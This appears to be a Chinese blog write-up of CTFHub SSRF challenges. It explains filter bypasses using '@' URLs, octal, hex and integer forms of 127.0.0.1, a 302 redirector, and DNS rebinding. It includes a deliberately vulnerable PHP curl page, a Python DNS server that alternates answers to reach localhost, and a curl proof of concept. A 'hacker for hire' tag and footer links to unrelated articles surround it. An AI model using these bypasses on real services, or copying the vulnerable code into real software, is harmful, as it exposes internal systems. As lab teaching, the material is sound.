SSRF Bypass技巧介绍

访客4年前关于黑客接单1017

之前的文章我们介绍了SSRF漏的基础利用 *** ,以及利用SSRF攻击内网的服务,不过这些攻击都是在服务器没有对地址做任何过滤的情况下,通常情况下后台的代码中都会对我们所要访问的URL做一些过滤,今天我就来介绍一下SSRF中的一些绕过 *** 。

0x01 URL Bypass

我们还是以 CTFHub 中的技能树为例,首先看看URL Bypass。

题目上没有任何提示,我们直接进入环境。

进入环境后页面提示我们URL必须以“http://notfound.ctfhub.com”开头。

这里我们可以利用@来绕过,我们可以进行简单的测试,在浏览器中输入:

www.test.atl.ocean@www.baidu.com

访问后发现最终访问的是“www.baidu.com”

那么我们就可以利用他来绕过限制,我们在?url=后面输入:

http://notfound.ctfhub.com@127.0.0.1/flag

访问后发现页面报未找到,不过我们可以看到访问的确实是127.0.0.1。那么我们可以尝试遍历目录,这里我直接尝试了 flag.txt,和 flag.php 然后就找到了flag:

0x02 数字IP Bypass

这一题同样题目中没有任何提示,我们就直接进入环境。

进入环境后发现同样也没有任何提示,那我们就直接在url参数后输入IP访问试试。

这回有提示了,页面告诉我们不能输入127、172和@,那么这里我们就可以采用不同进制格式的ip来绕过。

比如127.0.0.1这个地址我们可以这样表示:

8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433
16进制整数格式:0x7F000001

我们就挨个来尝试:

直接访问发现页面没有反应,应该是通过了过滤,那我们按照上一题的思路直接访问/flag.php

成功拿到flag,那我们同样也试试其他几种写法:

可以看到,这几种写法都可以顺利的拿到flag。

0x03 302跳转Bypass

题目中也是没有任何提示,进入环境后也没有找到能够302跳转的页面。。。

结果最后直接在url参数中输入:127.0.0.1/flag.php

直接就拿到了flag。。。。

额,看来是题目有问题,那我们就在本地环境尝试一下吧。

先准备一个存在SSRF漏洞的页面:

文件名:ssrf.php,代码如下:

<?php
   highlight_file(__FILE__);
   $url=$_GET['url'];
   $curl=curl_init($url);    
   //第二种初始化curl的方式
   //$curl=curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
   
   curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
   curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); // 允许302跳转
   curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);// 限制为HTTPS、HTTP协议
   $responseText=curl_exec($curl);
   var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
   echo $responseText;
   curl_close($curl);
?>

这时我们尝试通过file协议查看本地文件试试:

可以看到,页面报错,file协议被禁用了。

这时候我们再准备一个能够进行302跳转的页面:

文件名:302.php,代码如下:

<?php
$schema=$_GET['s'];
$ip=$_GET['i'];
$port=$_GET['p'];
$query=$_GET['q'];
if(empty($port)){
      header("Location: $schema://$ip/$query");
}
else{
        header("Location: $schema://$ip:$port/$query");
}
?>

这时我们通过302.php页面再次利用file协议访问本地文件试试:

额,结果发现还是不能用file协议,然后又尝试了其他协议,只有http可以,我尝试把限制协议的语句注释,发现还是不行,查询资料好像是环境问题,但是还没有找到解决的办法。

(待问题解决后补充)

0x04 DNS重绑定 Bypass

这道题也是跟上一题一样,有问题,直接访问 url=127.0.0.1/flag.php就可以拿到flag。

这里介绍一下DNS重绑定Bypas的原理:

借用大佬文章中的解释:

https://zhuanlan.zhihu.com/p/73736127

1)SSRF 修复逻辑

1.取URL的Host

2.取Host的IP

3.判断是否是内网IP,是内网IP直接return,不再往下执行

4.请求URL

5.如果有跳转,取出跳转URL,执行第1步

6.正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。

首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。

接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。

不过,这一切都是在TTL为0的前提下。

2)什么是TTL?

TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。

所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是之一次缓存的外网IP,也就不能绕过了。

3)DNS请求过程

1.查询本地DNS服务器(/etc/resolv.conf)

2.如果有缓存,返回缓存的结果,不继续往下执行

3.如果没有缓存,请求远程DNS服务器,并返回结果

4)DNS缓存机制

平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。

不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。

需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。

1.Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)

2.PHP默认会被DNS Rebinding绕过

3.Linux默认不会进行DNS缓存

5)搭建DNS服务器

DNS配置如下:

此时,当访问http://dns_rebind.joychou.me域名,先解析该域名的DNS域名为http://ns.joychou.me,http://ns.joychou.me指向47这台服务器。

DNS Server代码如下,放在47服务器上。其功能是将之一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1

NS记录表示这个子域名http://test.joychou.me指定由http://ns.joychou.me域名服务器解析,

A记录表示http://ns.joychou.me位置在ip地址http://xxx.xxx.xxx.xxx上

在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:

dns.py

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name=query.name.name
        if name not in record or record[name]<1:
            ip="35.185.163.135"
        else:
            ip="127.0.0.1"
        if name not in record:
            record[name]=0
        record[name] +=1
        print name + "===> " + ip
        answer=dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s' % ip, ttl=0)
        )
        answers=[answer]
        authority=[]
        additional=[]
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory=server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol=dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__=='__main__':
    raise SystemExit(main())

运行python dns.py,dig查看下返回

? security dig @8.8.8.8 http://dns_rebind.joychou.me; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 35.185.163.135
;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:43 2017
;; MSG SIZE rcvd: 55
? security dig @8.8.8.8 http://dns_rebind.joychou.me
; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 127.0.0.1
;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:45 2017
;; MSG SIZE rcvd: 55

可以看到之一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。

curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'

返回http://test.joychou.org页面内容It works.

在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。

以上引用文章中内容。

个人简单理解原理就是在过滤IP地址时会先进行一次DNS解析,来确定是否为内网IP,此时让我们的DNS服务器解析为外网地址通过检测,然后当真正发起请求时,因为ttl值设置为了0,所以服务器会再次向我们的DNS服务器请求解析IP,这时再返回内网的IP地址,这样就绕过了地址的过滤。

因为实验需要有自己的域名,并且还需要搭建DNS服务器,条件比较苛刻,在实际环境中的应用也比较有限,在这里就没办法进行实验了,就先简单了解一下原理吧。

相关文章

现在搞养殖养什么前景好(现在可以养殖什么)

现在搞养殖养什么前景好(现在可以养殖什么) 在农村地域,养殖、养殖牛、养殖羊能够说成养鱼业的三大支撑。殊不知,从关键的农户看来,有的人在过去的一年里赚了很多钱,而另一些人却损害了很多钱。哪一个更有发...

蟑螂怕什么(蟑螂远离最怕它)

蟑螂怕什么(蟑螂远离最怕它)

蟑螂怕什么(蟑螂远离最怕它)蟑螂是我们在生活中经常见到的一种小动物,这种小动物也让很多女孩子感到特别的厌烦,首先看起来就不是特别喜欢,同时还很容易传染一些疾病,所以我们在平常生活中一定要注意来进行清除...

帮忙找qq的黑客高手,黑客软件 下载,黑客wifi密码

这时候转发一个80端口,合作hsf写入hook建立一个暂时的垂钓链接。 [1][2]黑客接单 00020684 B __bss_end__榜首行用来表明CGI程序的途径。 能够随意开你的脑洞。 2.运...

qq聊天记录删除了怎么恢复(聊天记录删除了怎么恢复oppo手机)

qq聊天记录删除了怎么恢复(聊天记录删除了怎么恢复oppo手机)

qq聊天记录删了怎么复原 如果你备份了被删除的聊天记录,那么可以通过备份文件还原消息记录。 通过QQ云服务恢复:如果你开启了QQ云服务,那么可以试着使用QQ云服务中的数据恢复功能来恢复被删除的消息记录...

黑客术语宏病毒(黑客的恶意攻击)

黑客术语宏病毒(黑客的恶意攻击)

本文导读目录: 1、宏病毒对黑客来说有什么利益可图,又不是什么盗号 及盗取资料的,宏病毒是不是就是那种说损人不利己的事 2、常见的病毒名称有哪些? 3、宏病毒和蠕虫病毒的区别是什么 4、电...

万向控股将设立5000万美元基金,投资数字货币技术

万向集团,我国最大的汽车零部件生产商之一,方案根据二项具体措施将资金分配到区块链应用。用以在全世界范畴内项目投资区块链技术商业服务运用有关的各种新项目,包含区...